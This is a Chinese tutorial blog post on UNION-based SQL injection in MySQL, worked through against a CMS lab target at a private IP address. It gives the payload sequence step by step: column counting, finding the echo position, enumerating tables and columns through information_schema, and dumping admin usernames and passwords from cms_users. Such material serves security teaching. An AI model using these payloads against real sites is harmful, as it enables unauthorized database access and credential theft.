SQL注入----利用联合查询获取 cms 网站后台管理员账密

相关知识点补充

关于MySQL注入的相关知识

在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表;
重点是有三个columns 、tables、SCHEMATA 表字段, CHEMA_NAME 记录着库的信息

tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名
columns 存储该用户创建的所有数据库的库名、表名和字段名(列名)。

 

通过 infomation_schema 查询 www_dvwa_com 库里所有的表和字段
select * from information_schema.`COLUMNS` where TABLE_SCHEMA='www_dvwa_com'
(数 据 库 . 表 名)  这 种 查 询 方 法 是 指 定 某 个 数 据 库 某 个 表
`` 这 个 符 号 可 以 忽 略 不 用

 

union 联合注入原理
联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。
该注入方法适用数据库中的内容会回显到页面中来的情况。联合查询就是利用union select语句,该语句会同时执行两条select语句,实现跨库、跨表查询。

具体步骤演示

  • SQL注入流程

数据库-->表-->列-->数据(字段)

1.判断是否存在注入点

由下图可以看到页面有回显,且显示报错 可以考虑联合查询注入和报错注入,但又考虑到注入成本,所以优先考虑使用联合查询注入

2.在确认存在注入点时,使用order by 判断数据库中的列数

判断数据库列数为15列

3.判断出回显位 

法一:把第一条select语句的查询条件置为假。

http://10.9.75.31/cms/show.php?id=34 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

法二:利用null  使用单引号依次对null位进行按位测试  若页面回显null则判断其为回显位

http://10.9.75.31/cms/show.php?id=34 and 1=2 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null

4.查询数据库、版本号

  • 数据库

  • 版本号

  • 用户名

5.查询对应表名

id=-34 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

6.查询对应列名

id=-33 union select 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

7.查询数据

union select 1,2,3,4,5,6,7,8,9,10,concat(username,':',password),12,13,14,15 from cms_users

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值